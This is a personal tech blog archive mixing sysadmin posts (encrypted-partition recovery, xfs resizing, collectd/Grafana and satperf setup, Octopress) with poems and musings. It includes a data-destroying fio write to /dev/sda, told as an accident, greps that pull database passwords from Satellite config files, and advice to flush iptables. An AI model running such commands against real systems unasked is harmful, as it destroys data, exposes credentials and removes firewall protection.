Archit Sharma · writing

GRA FCUK? NAh

2020-02-07T02:17:27.000Z

yearly resentment (this would be the last) over a failed contribution:

Recovering encrypted LVM based partitions, after accidentally overwriting 'em with 'fio'!

2017-04-30T02:39:01.000Z

Disclaimer: Logging my experience of a quasi-success in executing $subject.

Specs

Partitioning scheme: LVM based encrypted partitions
Hardware - Lenovo T440p
OS (earlier) - Fedora 24 Gnome
OS (now) - Fedora 24 KDE

As if there aren’t enough cases already, this one found a grand entrance to the club of royally screwed ups, when it comes to messing up with your disk partitions.

Backstory and the foreplay

I supplied this command but with fio instead of pbench-fio. I thought the options would be similar to what fio supports, so I ran it with--client=<IP of VM> which it obviously didn’t support and reacted to, with a complaint. The command I then ran using ssh, was something this:

fio --filename=/dev/sda --direct=1 --rw=randwrite --refill_buffers --ioengine=libaio --bs=128k --rate_iops=1280  --iodepth=16 --numjobs=8 --runtime=20

But I managed to mess it up and this ran on host’s /dev/sda instead of VM’s. Albeit, I didn’t realize the blunder in that moment and later rebooted the machine. Well then obviously it wouldn’t boot up and so it went into PXE boot mode. With 0 pendrives within my reach, I PXE booted through my office’s network and thought I’d use the liveuser to recover. But that went into the #dracut mode. I went back home and finally used a live USB to boot into the laptop. On checking for partitions through fdisk, I couldn’t see any. Whelp!

And in the install menu’s disk selection option, it didn’t show up the partitions either..

The act of repression

So then I downloaded testdisk [1] and followed those step-by-step instructions. Unfortunately, mine was a case of an encrypted ext4 partition, which isn’t what that testdisk’s version supports (for listing files) out of the box. But on a ‘quick search’, testdisk did discover 2 partitions (Bootable and Primary) and on a ‘deeper search’, other parititions with labels P and D (Primary/Deleted [1]). I chose to write the quick search partition table and the exited the tool.

Later, I ran another tool PhotoRec [2] by the same author behind testdisk and that helped me recover 4 txt files and 3 LUKS files. I wrote the partitions it found out, to the table. It would only make sense if I could somehow decrypt and mount/scan the .LUKS files. I used an external hard drive and saved them to it while supplying the same as an option to PhotoRec.

Note that this was a hurdle I had to cross since they’re encrypted partitions. Generally speaking, if we’ve got N encrypted partitions, but the initial few sectors containing the header volume info for passphrase are overwritten, it’s often impossible to recover data (as of what I understood from conversations in forums). But this might be considered as an advantage in cases where you’d like to mess up the hard drive on purpose, since erasing the first few bytes does the job, as the data in rest of the sectors is encrypted af.

Getting back to point, I followed [3] and mapped those LUKS files to the VG pool (although unsuccessfully). Error that I spotted (under /var/log/messages) was somewhere along the lines of vgchange buffer io error on device sda <snip snip> logical block: LUKS I/O error -5 writing to inode.

Side note: Neither in PhotoRec nor in TestDisk, did I attempt to re-write MBR table.

On the edge of a Post Traumatic Scan Disorder from Testdisk and photoRec, I almost gave up while recalling suggestions from a few forums, which pointed to the fact that it’s impossible to recover encrypted partitions if the header volume info wasn’t backed up. It all seemed gloomy and dark and I slept thereafter while putting another photoRec scan to work in the background.

A couple hours later, I tried to wake up the laptop screen but it wouldn’t (Fedora 24 KDE does that sometimes it seems). Trudging back to the idea of starting over, I hard rebooted and decided to install the OS, from scratch. But to my surprise, while booting up with the live USB and inside the install menu’s disk partitioning scheme option I'll configure partition myself, I saw an “Unknown” partitioning dropdown. Now now, this didn’t show up earlier and so then I went ahead and removed all but the biggest one (which I knew was the home partition). I supplied the passphrase for older encryption, specified a mount point /home, made other parititions (all except biosboot [5]) and Voila! all I had to do later was to reinstall some rpm packages.

So to speak, I’m not sure what gave or how it worked, but it did! Tag-lining this as a “comedy of errors and a tragedy to remember”.

PS: On recovery, I’ve lost some disk space ( ~ 80 MiB) fragmented and squeezed in between those partitions. Also, my RAM shows up as 15.4 GiB instead of 16 GiB. Or maybe that’s just how accurate a System Monitor in KDE is?!

References

performance engineering TILs - part 1

2017-03-02T11:30:16.000Z

On Scale tests

..on distributed systems, in companies with a global, collaborative and distributed workplace setup

Before running a scale test, make sure to have the following items checked off your list:

Is churn on product integrations, enough to simulate production environment?
During the tests, is the product going to run with defaults? Is this about baselining with defaults or are we going to let the system bleed while increasing throughputs?
Do you have exact expectations noted down prior to automating? (per se, monitoring enough parameters in the right way. This includes Telemetry, Logs and Configurations per iteration.)

An example of this, from a distributed systems application framework could be:

Time spent collecting the data as well as size of data v/s Time it took to be committed to the db – per se, fetch time/volume and db time.
Size of data transferred over network for a single workload (and for all workloads/functionalities associated with that application)

List of parameters not to be changed? CPU/RAM/Memory/Disk/partitions/Network bandwidth/OS/Installed Packages/Tuning parameters/….
Do you have tuning recommendations for the product, prior to testing?
Do you have enough debugging skills on the product, to begin with? (extension: Have you solved enough bugs yet?). If not, it’s good to have some consultation on this as it helps with forming theories on conclusions.
Do you have the lab environment’s hardware availability dates in a flexible time range? (keeping potential bottlenecks in mind)

I have been reading Brendon Gregg’s “Systems Performance: Enterprise and the Cloud” and am inclined to finish this soon. All of the points above, have probably been already covered in detail, in that book.

resizing an xfs partition on a thin provisoned disk in a RHVM env

2017-02-21T21:23:28.000Z

My postgres parition was full and I desperately needed to increase its size, in order to report some performance numbers.

I couldn’t afford to loose the data (and my shit). So I followed these steps to safely increase the size of that partition based on xfs, which existed on a logical volume already.

Self help commands and assumptions:

disk is /dev/vdb/
xfs is mounted on /dev/vg_pg/lv_pg
we grew the disk by 20 Gigs

xfs_info /dev/vg_pg/lv_pg -d 64G

Delete and resize partition. Let’s say we’re working with Partition 1 here:

fdisk /dev/vdb

# p
(list paritions)

# d
(confirm delete)

# n
(make new parition with default values, after you've extended disk size from RHEVM env)

# w
(save changes)

Now, reboot system.

Run partprobe to be sure all went well.

Then, run these set of commands:

pvresize /dev/vdb1
pvs
lvextend -L +20G /dev/mapper/vg_pg-lv_pg
lvs
xfs_growfs /dev/vg_pg/lv_pg

Refs:

never go back, but never forget

2017-01-24T21:23:49.000Z

(yet another introspection)

—

Underneath the shine, on this mountain of pride,

I tumble and dabble, yet still yearn to travel,

into the blue lagoons and across the white heaven.

I tend to contemplate, the leetspeak of Zarathustra and Krishna,

If that is indeed a sure way to live?

If the future was already a past unto itself?

Of the treasures I’d gain, by besting one of our own,

Would they everlast, or if that even matters?

I thought I’d discover the ways of the world,

and drifted out there, into that little whirl

The beauty of life is that hypocrisy is a vibe,

Girded by schism, suddenly it got real.

And in this skirmish I found, the light in your soul.

kept hearing those sounds, kept seeing those grounds

Now they remind me of you, and your sweet little boat,

..of wonders and smiles, warm sunsets and kites.

Alas, I’d venture deep into the murk with a hint of quietude.

As by now, I have had my share of weeds and thorns;

while I’d still fancy life, but an astute one.

Oh what I wouldn’t give, on this quest of The Truth.

I wouldn’t dare to be foolhardy,

But the journey of life is not an illusion.

Or what if The Truth, is merely a qbit?

I had once repudiated God’s God’s license to chaperone,

But the omens, as puissant as they always are,

Hath drawn my soul, and bent my free will,

into the unfathomably deep valleys of reason and doubt

I am, but an arc of life, a creation of nature,

who thence completes the circle of life.

— arcolife

#noteToSelf - fix MariaDB-selinux related errors (fails to restart after update)

2017-01-19T16:07:53.000Z

https://jira.mariadb.org/browse/MDEV-11789

yum -y install MariaDB-devel  gcc gcc-c++ autoconf automake make libtool   zlib zlib-devel openssl-devel
yum install -y MySQL-server
 
# tried this, didn't work (where /home/native is the directory with mysql database is stored; configurable in my.cnf)
semanage fcontext -a -t mysqld_db_t "/home/native(/.*)?"
restorecon -Rv /home/native/
yum install selinux-policy
audit2allow -a
yum install yum-utils
yum-complete-transaction
 
# then tried this
yum provides sealert
yum install setroubleshoot-server
sealert -a /var/log/audit/audit.log
# this produces alerts from audit.log and provides hints as to what should be executed next..
 
# so i followed directions..
ausearch -c 'mysqld_safe_hel' --raw | audit2allow -M my-mysqldsafehel
semodule -i my-mysqldsafehel.pp

Creativity: 0 to 1 afterthoughts

2016-10-17T19:13:35.000Z

Disclaimer: This isn’t an insinuating attempt at the way of lives. It’s just another musing.

A true hypocrite (who accepts the fact) and a faux hypocrite (try swapping the terms liar, genius, psycho, erudite, ..) may invariably define one’s character and attitude towards a problem. Cognizance of the concepts and related tools is a great thing, while not possessing the know-how and still being able to define the problem and proposing a few good solutions, is what I perceive as creativity (the generic notion). Getting to know existing solutions and eventually building upon them is great, but that – 0 to 1 – is what counts as discovery and invention. And that is the key to assessing one’s approach and the element of intuition. That 0 to 1 is what gets you the early beginner’s advantage.

from Peter Thiel’s 0 to 1

One prides on mastery in techniques discovered by others [like getting industrial grade certifications and/or being the “Lead XYZ” of something]. Good or bad experiences attach a sense of fulfillment or achievement. We get better as conversation starters because of that experience and even better at concluding them. Let’s not digress about the metaphysical notions like:

“What does success mean to you?” or
“Why does that sense of self-fulfillment make you feel better?” or
“Why making you feel better makes your surroundings look pleasant? ” or
“Why pleasant surroundings make the world a better place? (assuming that in an ideal world, there’s no such thing as ‘the 7 sins’)” or
“Why do you wanna make the world a better place?” or
“What would making the world a better place mean to you?” or
“Why does a better world, meaning a better place to live in, make you feel happy?” or
“Why is being happy good for people? (when one doesn’t know what it is exactly, and that it’s only experienced when one has been sad once)”.
… Let’s not do that?
Let’s not ask ourselves any of that? Because that’s a waste of time?
Let’s not talk about our chances of *succeeding in life* when we don’t even know what that means?

Instead, let’s talk straight to the point. IOT, DevOps, Data Science, Deep Learning and so on. All these buzzwords are called buzzwords for a reason. They have captured the imagination of most of today’s professional and academic world. People looking for a new start or to further academic indulgence, are immediately attracted to the latest and the greatest. Of course this is how normally humanity progresses in the world of science and technology.

The moment someone switches to either of these domains, they’re surrounded by an assemblage of entropy from social media and specific forums / mailing lists. They start going with the flow immediately, discovering mentors amongst public opinions. Somewhere down the road, they start observing other like-minded peers, with whom they now interact frequently, because they found “common interests” and “common buzzwords” aligned with each other’s school of thought. They feel connected and if not, they go to meetups, hackathons and conferences to find more like-minded candidates. I’m talking about geeks here, leave out all the rest!

While they’re involved in their cutting-edge efforts to bestow upon humanity, productization of millions of discussions/ideas over the days, months and years, I believe they somehow loose track of their original line of thoughts, given there ever was one. But what’s wrong with that? They’re eventually building something better, right? Sure, you may know (after engaging in geekery) how that distributed file system works, sure you now know about that straw2 algorithm that was a clever addition for the new block storage industrial solution. But would you have felt better if it were you who developed the very first version of that technique or explored that uncharted avenue which is now a widely known ‘phenomenon’? I figured as much.

Maybe take this post as a reminder of the point made? It is, to me 🙂

Monitoring in Satperf: metrics collection

2016-10-05T12:51:42.000Z

Satperf utilizes a visualization framework called Grafana, to present graphs.

Metrics Collected

An explanation of how the following metrics are placed in the satperf monitoring dashboard, is described in the ‘Grafana Dashboard’ section. If you wanna copy these metrics, refer to this file [2] in references

The panels that satperf monitoring module provides:

The metrics that satperf monitoring module collects for processes:

Overview

The Grafana dashboard is divided into rows and each row has either a single or multiple panels. Each of those panels query specific metrics. Here’s how those metrics in the template [1] are grouped:

Grafana variable templating
Rows > Panels > Queries

The rows are named as following:

A sample “CPU ALL” row with all panels:

On clicking edit in one of the panels in that row, we get the metric query frame, like this:

The templating $Cloud, $Node etc.. are included at the top of the dashboard, like this:

Grafana Dashboard

Satperf Dashboard template can be obtained here
Variables replaced in that template are in this file

Satperf Dashboard templating explained

So in the jinja template [1], we have multiple “title”(s) under “rows” section and variables from [2] are replaced inside the template as illustrated in following piece of that jinja template:

{# Loop over per-process options here #}
    {% for metrics in per_process_metrics %}
      {
        "collapse": true,
        "editable": true,
        "height": "200px",
        "panels": [

      {% for panel in per_process_panels[item.process_list_name] %}

Additionally, "title": "CPU All" in the dashboard template [1] refers to one row of the dashboard.

Note: This post is a spin off from the main satperf project.

To take a look at how satperf works, refer to this post
To learn how to setup monitoring for the parameters covered in this post, refer to this post

satperf: A Satellite Performance benchmarking and automation tool

2016-08-22T12:48:16.000Z

1. Intro

Satperf (link) is a Red Hat Satellite Performance Benchmarking & Automation tool that makes it super easy to quickly setup your own environment with satellite components and start running workloads. It uses ansible playbooks to manage remote execution and has built-in modules for various roles that Satellite Web UI has to offer. These are carried out with the use of hammer commands (read more on Hammer) as an equivalent of Satellite API.

Briefly, it does the following activities:

Satellite installation and monitoring
uploads manifest, updates repo
concurrently syncs multiple Repositories from Repo Server
creates lifecycle environments
creates capsules
concurrently syncronizes multiple capsules
..etc

Satperf runs modules through ansible playbooks, briefly described below under ’Ansible Playbooks in Satperf` section.

2. Satperf setup

This is to get the satellite installation + monitoring tools up and running.

Although there’s a README included with the project, let’s briefly go through steps needed and get an install up and running.

It isn’t packaged right now, so first, clone this satperf repo.

2.a. PREREQUISITES

From project root, run: $ source ./setup, follow the output and act accordingly (install packages / activate virtualenv).

Ensure that satperf help command succeeds: $ ./satperf.py -h

2.b CONFIGURATION

The above step should get the setup ready for configurations. Now, configure following files in the manner illustrated:

Add configurations specific to Ansible

conf/ansible.cfg

log_path = ~/ansible.log
private_key_file = ~/.ssh/id_rsa_perf

Add [FQDN / hostnames / IP Addresses] for your installation. Follow the ansible inventory file pattern, as shown by sample contents of this file.

conf/hosts.ini

[capsules]
x.x.x.x 
[satellite6]
x.x.x.x
[graphite]
x.x.x.x
[grafana]
x.x.x.x

conf/satperf.conf: Add configurations specific to satperf.

conf/satperf.conf

[Settings]
hosts = conf/hosts.ini
# satperf log file
log_file = log/satperf.log
# Logfile size in Bytes
log_file_size = 10000

[Monitoring]
# for collectd multi/single-host installations one/all of satellite6:capsules
# hosts = satellite6
hosts = satellite6:capsules

For now, leave the sections [RHN], [Satellite], [Pbench] untouched. In this post, we’re only configuring satellite monitering module of satperf.

2.c SATELLITE INSTALLATION

If you already have the satellite setup running, skip below to ‘MONITORING INSTALLATION’.

Run $ ./satperf.py -s

You’d be asked the following, press [Enter] or type ‘n’ to skip, if the component’s already installed, or you don’t want it.

 =======> Installing Satellite..
Continue (y/n)?: 

 =======> Installing Capsules..
Continue (y/n)?:

Ignore any other components shown in menu, if so.

Although we’ve tested this internally and it works, but since this is currently WIP, take a look at logs if something fails, or feel free to open an issue upstream.

2.c MONITORING INSTALLATION

Run $ ./satperf.py -m

You’d be asked the following, press [Enter] or type ‘n’ to skip, if the component’s already installed, or you don’t want it.

 =======> Installing Collectd..
Continue (y/n)?: 

 =======> Installing Graphite..
Continue (y/n)?: 

 =======> Installing Grafana..
Continue (y/n)?:

Although we’ve tested this internally and it works, but since this is currently WIP, take a look at logs if something fails, or feel free to open an issue upstream.

2.d FINAL STEPS (WIP)

Build the dashboards viewable, through Grafana, by running $ ./satperf.py -i

WIP status: facing an error in this step, similar to this one

Ansible Playbooks in Satperf

2 major categories:

Satellite
- Setup (either AWS or normal environements)
  - Satellite
  - Capsules
  - Docker hosts (N content hosts per docker host)
- Satutils
- healthcheck
Monitoring
- Collectd
- Graphite
- Grafana

Playbook: Monitoring

For a description of metrics we collect about Satellite installation, refer to this post

Collectd: role description

Installs collectd on either/all of: satellite / capsule / docker-hosts

Graphite: role description

Installs Graphite time-series database for metric storage of collected metrics on the configured graphite host

Grafana: role description

Installs Grafana time-series metric visualization framework, on the configured grafana host

Playbook: Satellite

Setup: role description

common
rhsm
setup
pbench_client (WIP)
satellite-populate

Satutils: role description (WIP)

backup
upload-manifest
restore
add-product
create-lifecycle
enable-content
content-view-create
content-view-publish
content-view-promote
sync-content
sync-capsule
register
status_check

Health check: role description (WIP)

We plan to integrate this github project - sat6_healthCheck

Blog roll: More on Satellite itself

From Satellite’s latest release:

Red Hat Satellite 6.2 is now generally available, and includes the following major enhancements:

Enhanced container management with RHEL Atomic
New remote configuration management for managed hosts
bootstrap.sh support for configuration management and host migration
The ability to change disconnected environments to connected
Inter-Satellite synchronization for content
PXE-less discovery for existing systems
Release Notes
Satellite Installation Guide

Setting up collectd plugins with Graphite and Grafana

2016-08-22T10:18:43.000Z

Intro

Installing collectd could be trivial, although setting up monitoring for continuous time-series metric collection should be simpler. This post is aimed at helping sysadmins setup collectd and connect it to a graphite instance, so that all those metrics could later be viewed from Grafana instance.

Note:

This post is a spin off from the main satperf project. To take a look at how satperf works, refer to this post

The process

Step 1

Install collectd for your system, Install Graphite server elsewhere (recommended: separate machine).

Step 2

When that’s installed, take a look at your /etc/collectd.conf and add plugins from the list below, as suitable

# Allow collectd to log
LoadPlugin syslog

# Loaded Plugins:
LoadPlugin write_graphite
LoadPlugin cpu
LoadPlugin df
LoadPlugin disk
LoadPlugin interface
LoadPlugin irq
LoadPlugin load
LoadPlugin memory
LoadPlugin numa
LoadPlugin processes
LoadPlugin postgresql
LoadPlugin swap
LoadPlugin turbostat
LoadPlugin unixsock
LoadPlugin uptime

Note:

If you’re installing this on Red Hat Satellite, you might wanna make additional changes as per this template in satperf
For others, you might wanna take a look at the above mentioned link anyway, for it serves as a generic reference for /etc/collectd.conf
Replace variable names in above referenced satperf’s collectd.conf as per following defaults / or change them as suitable:

Gotchas (for both Satellite setup as well as normal setup):

10 refers to 10 seconds
end results on graphite-web UI show under Metrics:

{{graphite_prefix}}.{{inventory_hostname}}.<metrics as per output from plugins>

For candlepin password:

$ grep "jpa.config.hibernate.connection.password" /etc/candlepin/candlepin.conf | awk -F'=' '{print $2}'`

For Satellite Foreman password:

$ grep "password" /etc/foreman/database.yml | awk '{print $2}' | tr -d '"'

Step 3

Once this is done, reload collectd server and check logs on graphite server to make sure you’re able to receive data

Other Gotchas:

Use iptables -F if unable to send collectd metrics
To graph the other parameters in Grafana, this satellite generic dashboard file
- To simply look at which metrics are touched in above dashboard template, refer to this satperf vars file
FYI, I’ve got an open PR to add collectd info to sos report, as a plugin
I’ll add some screenshots to this post ASAP.

Imbecile Intellects. Or are they?

2016-06-26T01:03:38.000Z

Quintessential musings of a non-locality believer:

Weird how the world works.

W is a curious guy. W works on it. W might end up being a connoisseur. W might not.

X wants to be happy. X works on it. X might give up. X might not.

Y wants to be rich. Y works on it. Y never gives up. Y might end up entrapped in that loop or Y might get rich.

Z wants to be recognized. Z is recognized. One way or another.

Then there’s A-V who are all kinds of variants of W, X, Y and Z.

W,X,Y & Z all start on different lines of destiny. But their paths might cross. Or they might not.

If they do, they might collaborate. They might not

If they don’t cross paths, they might end up wanting to acquire a skill that other one has. Or they might not.

This list is non-exhaustive. Or is it?

Life is uncertain. No one can make anything of it. Treat your life the way you want it. Law of attraction might work. Or it might not. The dots might connect. Or they might not.

Decisions are destined. Or are they?

I just wasted your time again. Or have I?

Setting up your own blog hosted on Github

2016-06-11T23:07:14.000Z

I recently shifted from having a static page as my github.io link to making a blog out of the default .io page for my Github account. I found it pretty cool to be able to push stuff through markdown (although even that formatting is configurable under Rakefile of octopress source code).

So here’s a really short post on how to set it up.

Step 0: Make sure you have a github account and a suitable repo

Make an account on this github website

..and then, make a new repository on github, called <username>.github.io

Reference: I have a repo called: http://github.com/arcolife/arcolife.github.io

Step 1: Get your gear!

Make sure you have git and ruby installed in your command line environment.

I had the following versions:

ruby 2.2.5p319 (2016-04-26 revision 54774) [x86_64-linux]

Although lower versions (such as 1.9) might work too.
git version 2.5.5

Step 2: Get octopress

Download the repository under a suitable location on your disk:

git clone git://github.com/imathis/octopress.git octopress
cd octopress/

Next, if you run bundle install && rake install, then IIRC, you’d get a failure. If not, then the almighty Gods are with you on this lad ..else, make a change to group:development in Gemfile by adding the following:

  gem 'json_pure', '~> 1.8.3'

This is because when I tried to install the requirements, I got an error and a recommendation to add the above. Refer to this file under my repo, if in doubt.

Be advised that this micro-step may not be necessary in future releases or in your environment.

Now install requirements along with octopress itself:
```
bundle install && rake install
```

Step 3: Connect your username.github.io with octopress

Run this:

rake setup_github_pages

Follow the instructions and supply input as asked.

This would clone and download your repo to a folder called source and change your branch from master to source. You should check this with git remove -v. I got something like this:

octopress	git://github.com/imathis/octopress.git (fetch)
octopress	git://github.com/imathis/octopress.git (push)
origin		https://github.com/arcolife/arcolife.github.io (fetch)
origin		https://github.com/arcolife/arcolife.github.io (push)

and on running git branch it should display * source.

If you then do a git status you’d get something like this:

your branch is based on 'origin/master', but the upstream is gone.
(use "git branch --unset-upstream" to fixup)

..which is fine. Let’s move on to next step.

Side note: However, if in case, this fails to change your branch to source, i.e, you don’t have your username under urls of origin in your output of git remote -v ..then you’d have to do this step manually like this:

git remote add origin git@github.com:arcolife/arcolife.github.com.git
git branch -m master source
git branch

This should now display * source.

Step 4: Try running in preview mode

rake preview

This should start a server on http://localhost:4000 and you should be able to view a default colorful octopress page.

Step 5 (optional): Deciding where to keep the default blog

Check this out

Mine is with default settings so I haven’t tried this out.

Step 6: Push your changes to github and deploy the blog

rake generate

git add .
git commit -am "init github based octopress"
git push origin source

rake deploy

This might take upto 5 mins sometimes or may be a matter of few seconds depending on how the update job runs and the load on github servers. Refresh and check in intervals.

Step 7: A new post

rake new_post["My first post"]

This would generate a new post and display a message like this:

mkdir -p source/_posts
Creating new post: source/_posts/2016-06-12-my-first-post.markdown

Edit that file and write up a post using markdown format. Repeast steps in Step 6 to deploy.

Step 8: Tweaks quickstart

Some of these tips are well covered under Octopress’ blogging basics and under octopress’ github README config section but just pointing them out for quickstart references:

Configure blog name and other basics

Open _config.yml and edit the following:

title:
subtitle:
author:

repeat steps from Step 6 to see changes live on your username.github.io

Edit _config.yml and edit the following (change your usernames accordingly):

Github:

github_user: arcolife
github_repo_count: 5

Google Plus:

googleplus_user: +ArchitSharma1337

Twitter: (read more below under Adding asides section on adding twitter feed)

twitter_user: arcolife
+twitter_show_replies: false
+twitter_follow_button: true
+twitter_show_follower_count: false

For facebook like on posts:

facebook_like: true

Images in post

If you wanna insert images, add them under source/images and you could either:

Refer to their path either like this:
```
![Sample image caption](https://raw.githubusercontent.com/username/username.github.io/master/images/sample.png)
```
Replace username with your github username, and images/sample.png with whatever path your images are in, under source/
Or give a relative path like this:
```
![Image caption](../images/sample.png)
```

The second option is hackish & works based on your directory structure. There are other ways of doing this as well

Adding `asides` (panel contents)

Edit _config.yml as follows:

blog_index_asides:  [custom/asides/about.html, asides/recent_posts.html, asides/github.html, asides/googleplus.html]
post_asides:        [custom/asides/about.html, asides/recent_posts.html, asides/github.html,  asides/googleplus.html]

You could add your custom asides / make changes to layout from files under source/_includes folder. For example, to add your twitter feed, you’d wanna take a look at this blog post which tells you how to add that and why it was removed as a default.

Google analytics

This is to track location/count of visitors to your website. Open _config.yml and edit the following:

google_analytics_tracking_id: <add your ID here>

You’d need to have an account on this google analytics website to get an ID. There’s a limit on number of free IDs allotted to your google account. Check out the T&Cs on their website.

Comments in blog posts

If you wanna enable Disqus based comments, you need to have an account on this disqus admin website and add the url <username>.github.io under trusted domains on https://<disqus admin username>.disqus.com/admin/settings/advanced/ and you need to configure your community name (which is nothing but a setting for your site) under https://<disqus admin username>.disqus.com/admin/settings/general/

Adding a static website under your github website

If you’d like to link up a static content (fully supporting it’s own html/css layout), just add them under source/<new_dir>/ and you should be able to access that under username.github.io/<new_dir>

Then, go ahead and edit _config.yml and edit the following:

disqus_short_name: arcolife
disqus_show_comment_count: true

Working on drafts, disabling comments and adding categories

When you’re writing a blog post, change true/false or add categories to your _posts/.md as shown below:

comments: true
published: true
categories: [RHEL, Linux, Microservices]

A push to github with published: false means the markdown has been safely committed to source branch on your repo, but the post is not publicly visible. This way you could keep working on the file and change to true when it’s ready.

All that said, I still haven’t added an ‘about’ section to my post, or moved it under a custom blog/ folder successfully. Or changed the default page to something else or made changes to default theme. If you’ve done that, please add a comment here on how you did it or a link to it if you’ve blogged about it. Would save me some time eh! :)

Thats it for now folks!

Share it across, post a comment if you’d like to add something to this post, or want any edits made or found a flaw in the flow or would simply like to let me know if this helped.

Cheers!

Sarjitsu: A project on visualizing system's activity

2016-06-06T00:20:34.000Z

1. What is it about?

Sarjitsu, or, SAR Jitsu, is a one stop shop for people who’re looking to visualize their system data, based on System Activity Report (SAR) data generated by Sysstat. Screenshots from the app are near the end of this post.

1.a. How do I get cracking on the source?

It has been open sourced under Distributed System Analysis efforts. Take a look!

2. What does it offer?

It includes throwing SA binary files at an instance of sarjitsu’s web app and extracting the following valuable information out of it:

Nodename of the machine whose data is contained within the binary
Time range of the data collected
Extraction of the time series data and visualization in a feature rich dashboard using Grafana
Graphing of the following parameters:

3. How is it different from live monitoring ?

Sometimes issues can’t just be detected out of live monitoring and we might need to use historical data. For live monitoring, already tools like collectd exist. If you’ve got your data stored in form of SA binary file, Sarjitsu can visualize it.

Sarjitsu would enable you to:

Debug issues with your machine by presenting time series data collected on a minute’s granularity level. This is entirely configurable through the SAR setup that your system has.
Figure out where the bottleneck lies by presenting all the information under a common y-axis and correlate results
Visualize pbench results (additional feature). It comes with a command line tool which you could point to results dir of a pbench run and it will find all the sar.data files and visualize them.

4. Ok. Tell me more about..

It is built in a manner so that it could scale up real fast, because of it’s ease of use and also because it is based on Docker containers, around which a whole ecosystem exists on scaling up. If you’re willing to use this in production, send us a holler and we’ll get back to you. (Refer to the section at the end.)

4.a. Software Stack

Docker containers
Python-Flask + uWSGI
Nginx
PostgreSQL
Redis
ElasticSearch
Grafana
Twitter Bootstrap

4.b. Architecture

The project is divided into 5 components:

Grafana for visualizations
Postgres (used for storing Grafana’s dashboards)
Elasticsearch (used as a data source)
API Engine in Python-Flask
Web Server in Python-Flask (previously written in NodeJS)

5. Project Status

The project development status is still in alpha mode, since there have been a lot of drastic changes over the past year. In fact, I’m still waiting for a few to be included in core of grafana’s code (PR #4694 that I’ve submitted). In fact, earlier last year, I had released an elasticsearch-graphite shim of sorts, that made it possible for data to be sourced from ES into Grafana. Later on though, the native support was included and I had to move on. (Yeah it was difficult to let go of the python-django project!).

The usage of nested documents within grafana, sourced from elasticsearch, depends on presence of this feature (PR #4694). Of course though, if someone is willing to make a Fedora Copr based custom packaging out of this project, I’d be really really glad and might even invite you to my annual Great Gatsby themed party.

Once again, checkout the project at DSA and please contribute! :)

5.a. Upcoming features

Statistics about top N devices. Example: CPUs, Disks or Network devices.
Options to integrate this with hybrid cloud ecosystem.
Service Discovery for individual components.
Of course it’s only as good as you make it.

So more on this later. Feel free to open a feature request on github and maybe even send a PR!

6. Contributions

I’ve opened a list of issues and labelled them accordingly on this Github issues list for Sarjitsu. Feel free to start a discussion under a github issue’s comments section, or submit a Pull Request for it. Cheers and happy debugging!

We hangout on #pbench under FreeNode on IRC. Feel free to ping me there or tweet about it (I’m @arcolife).

7. Screenshots from app

Landing Page

Results Page

Commandline uploader sample

Grafana Dashboard

Grafana Visualization example

This one is a demo of the upcoming nested docs feature.. refer to Grafana’s PR #4694 for more:

8. Last but not the least

If you think there is a significant improvement possible to the architecture of this project, or a potential collaboration opportunity with one of your own projects, contact us right now and we could take this further. Refer to this page on more info about contacting me or say hello on #pbench under FreeNode on IRC.

With Love,

- Team DSA

New work blog!

2016-06-05T23:14:56.000Z

Check it out

I wish to blog work related stuff on this new octopress based blog. It’s really cool, markdown and stuff.

First Post

2016-06-05T22:57:15.000Z

A test post

My intro page has now been moved to /intro

I’ve noted down a list of posts I’ve been waiting to blog about, for a long time now.. Finally I’ve got something better than free version of wordpress to try this out. My older blog was Arcolife’s Digital Sweat and is still active. This one’s a pure work related blog, or atleast, I plan to keep it so, for now.

On the bulk of digital reactions: the Like buttons!

2016-03-25T19:09:43.000Z

Foreword: It’s not as if I had nothing better to do at the moment. But this thought just struck me and I wanted to record it somewhere. Do read and react, if you want to. I can almost hear sarcasm floating around: “I bet you’re fun at parties”.

Like buttons are acknowledgments alright. But what use could they be of, if one is not able to smile/reply back to every individual ack? Do the numbers”50 favorites / 50,000 likes” really matter a lot? This thought is important if you ask me, since these reactions really have coaxed a lot of people around the world into doing crazy stuff, just for the likes. Guilty as charged, myself!

For example, if I upload a pic and get 50 likes, I would “know” that those people have seen it, thus giving me a sense of being around and appreciated by those 50 people while I had performed a stunt, or posed for a groupfie or merely clicked a duckface. Thence, explaining one of the reasons for the existence of these online social networks.

So, I could quickly jot down a few motives behind (or products of) this design element:

A psychological experiment (some kind of modified version of Big5?) ..by those social media companies, so to speak, analyze a human behavior? Like the latest reactions addition to Facebook.
Claim to fame/popularity, as in, for the celebrity profiles?
Somehow putting this feature as an input for various social recommendation algorithms?
If anything else, it just adds to a sense of social acceptance, a moral fulfillment by the person rooting for likes, and a sense of expressing an emotion towards the person rooting (or not rooting?) for those likes.
A way to intimate the person who is generating that content, a feeling, that their posts aren’t just being uploaded to a big void. That they are being seen, observed (or judged?). Sometimes a comment isn’t really needed. A comment like “haha/lol” could perhaps be replaced by a “reaction”, thus saving the data mining algorithms some effort of filtering stop words? or save the storage from those gazillions of hahas/lols nuking the servers?

A personal observation: Indians (myself, being one of them) get more likes on their content, in general, as compared to most of my really well doing friends from abroad. Population maybe? Or innate behavioral aspect?

I would recommend reading “Thus Spoke Zarathustra” by Nietzsche, who actually broke it down to pretty much rudimentary human traits, cleverly summarized into sentences of what it means to be one, at the least. Includes a lot of truth about hypocrisy and painful basic nihilistic questions though. Be warned, as I was, by a friend of mine. I am currently reading it myself.

By the way, this wiki page on “like button” should be updated with the “why” section. It currently has the “what” and “how” sections only.

Suggestions to this post / related thoughts are welcome! What do you think?

..and write, I will.

2016-03-19T20:55:49.000Z

100 posts lined up. Now that I’ve put this here, sometime in near future, *hoping* I would probably save myself some embarrassment of posting this one .. by nailing down those 100 posts Need to let the word out; Need to help people; Need to document life, conversations, events, personalities, ideas, products more often.

*Repeats to himself*

“No, I won’t delete this post to cover up my tracks.”

Docker Global Hack Day mania: DockerComp

2015-09-21T15:50:10.000Z

For the purpose of Distributed (Scientific) Computing, scientists across the world have been mostly using pre-configured VM images to let the client volunteer in contributing towards micro-processing tasks that involve processing of raw data received in chunks over the network.

But, since the introduction of Docker, life has changed and so have the performance benchmarks. We propose an system that uses the benefits of Docker to hopefully perform far better than the currently achieved milestones through VMs. The VMs have a huge overhead of starting up, as compared to Docker containers. Moreover, we don’t even need to explain the difference between running more than one VM on a HostOS compared to running multiple docker containers on that same machine! See the point? 🙂

A YouTube video was embedded here (lIp2nrOnKFs). It is no longer available.

